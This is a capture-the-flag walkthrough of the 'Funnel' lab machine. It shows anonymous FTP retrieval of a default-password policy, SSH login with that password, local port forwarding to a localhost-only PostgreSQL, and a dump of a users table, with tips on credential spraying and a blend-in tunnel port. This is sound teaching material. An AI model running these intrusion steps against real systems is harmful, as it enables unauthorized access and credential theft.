⚠️ Legal Disclaimer: This content is for educational purposes only. Always ensure you have proper authorization before testing

Funnel teaches one of the most practical real-world skills in penetration testing: SSH local port forwarding (tunnelling). The attack chain begins with an FTP server leaking credentials via anonymous access, uses those credentials for SSH login, then tunnels through the SSH connection to reach a PostgreSQL database that is only accessible from the local machine. This pattern — pivoting through an SSH session to reach internal services — is fundamental to internal network assessments.

Tools: nmap · ftp · ssh tunnelling · psql  ·  Difficulty: Easy  ·  OS: Linux
01 — What You Will Learn
SkillWhy it matters
FTP anonymous access for credential discoverySensitive files left on FTP servers are a recurring real-world finding
Password policy document analysisDefault password patterns in internal documents are goldmines for credential attacks
SSH local port forwarding (-L flag)Tunnelling makes internal-only services reachable from your attack machine
PostgreSQL enumeration via psqlDirect database access once tunnelled — listing schemas, tables, and extracting data
02 — Reconnaissance
Nmap scan
nmap -sV -sC -p- --min-rate 5000 10.129.x.x
Relevant output
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed |_drwxr-xr-x mail_backup 22/tcp open ssh OpenSSH 8.2p1

What you're seeing: anonymous FTP with a directory called mail_backup — almost certainly containing sensitive internal data. SSH on port 22 is the pivot channel. PostgreSQL is only listening on localhost (127.0.0.1:5432) — not exposed externally.

03 — FTP: Discovering Credentials
Connect anonymously and list files
ftp 10.129.x.x Name: anonymous Password: (Enter) ftp> cd mail_backup ftp> ls password_policy.pdf welcome_28112022 ftp> mget * ftp> bye

What you find: a password_policy.pdf and a welcome email. The policy document reveals the company's default password format: funnel123#!#. The welcome email lists new user accounts including optimus, albert, andreas, christine, and maria.

x Password policy documents stored on accessible file shares are critical findings. They tell an attacker exactly what format default passwords take — enabling targeted credential spraying across the entire user list.
04 — SSH Access with Default Credentials

Try the default password against each discovered username. Users who haven't changed their password will be accessible.

Test SSH with discovered credentials
ssh christine@10.129.x.x Password: funnel123#!# # Login successful christine@funnel:~$
i In a real engagement, run this as a controlled credential spray — one username per attempt, with a delay between tries to avoid lockout. Check the organisation's lockout policy from the password policy document first.
05 — Discovering the Internal PostgreSQL Service
Check for locally listening services
ss -tlnp # or netstat -tlnp Proto Local Address State PID/Program tcp 127.0.0.1:5432 LISTEN -

What you're seeing: PostgreSQL bound exclusively to 127.0.0.1 on port 5432. It's not reachable from the network — only from the machine itself. This is where SSH tunnelling becomes essential.

06 — SSH Local Port Forwarding

SSH local port forwarding creates a tunnel: traffic sent to a port on your machine is forwarded through the SSH connection and exits on the remote host to a specified destination.

Syntax
ssh -L [local_port]:[remote_host]:[remote_port] user@ssh_host
Tunnel PostgreSQL to your local machine
ssh -L 1337:127.0.0.1:5432 christine@10.129.x.x

This maps localhost:1337 on your attack machine to 127.0.0.1:5432 on the target. Keep this SSH session open.

i You can use any local port above 1024 (non-privileged). Port 1337 is conventional in CTFs. In a real engagement, use something that blends in with expected traffic on your machine.
07 — PostgreSQL Enumeration via the Tunnel
Connect to PostgreSQL through the tunnel (new terminal)
psql -U christine -h 127.0.0.1 -p 1337
List databases
christine=# \l Name | Owner -----------+---------- funnel | postgres postgres | postgres template0 | postgres template1 | postgres
Switch to funnel database and list tables
christine=# \c funnel funnel=# \dt List of relations Schema | Name | Type | Owner --------+-----------+-------+---------- public | users | table | christine
Query users table
funnel=# SELECT * FROM users; id | name | password ----+-----------+--------------------- 1 | optimus | Ab3g1!@# 2 | albert | Br3v1!@# 3 | andreas | An3l1!@# 4 | christine | funnel123#!# 5 | maria | maria123!
The flag is found in the database. Submit it to complete the machine.
08 — SSH Tunnelling Reference
Tunnel typeCommandUse case
Local (-L)ssh -L localport:remotehost:remoteport user@hostReach a service on the remote network from your machine
Remote (-R)ssh -R remoteport:localhost:localport user@hostExpose a local service to the remote machine
Dynamic (-D)ssh -D localport user@hostSOCKS5 proxy — route all traffic through the SSH host
Background (-N -f)ssh -N -f -L ... user@hostRun tunnel in background without an interactive shell
09 — psql Command Reference
CommandWhat it does
\lList all databases
\c <db>Connect to a specific database
\dtList tables in the current database
\d <table>Describe table columns and types
SELECT * FROM <table>;Return all rows
\duList database users and roles
\qQuit psql
10 — Key Takeaways
Internal services bound to 127.0.0.1 are not safe if an attacker can SSH into the host. SSH tunnelling makes any locally-listening service reachable from anywhere on the network.
ConceptReal-world relevance
Default password documents on FTPInternal onboarding files regularly contain default credentials — never leave them on open shares
SSH local port forwardingCore pivoting technique in any internal pentest — used to reach databases, admin panels, and APIs bound to localhost
PostgreSQL on localhost onlyBinding to 127.0.0.1 is a partial control — it fails the moment an attacker has SSH or shell access
Credential reuse across servicesThe same default password worked for SSH and PostgreSQL — credential reuse is a systemic risk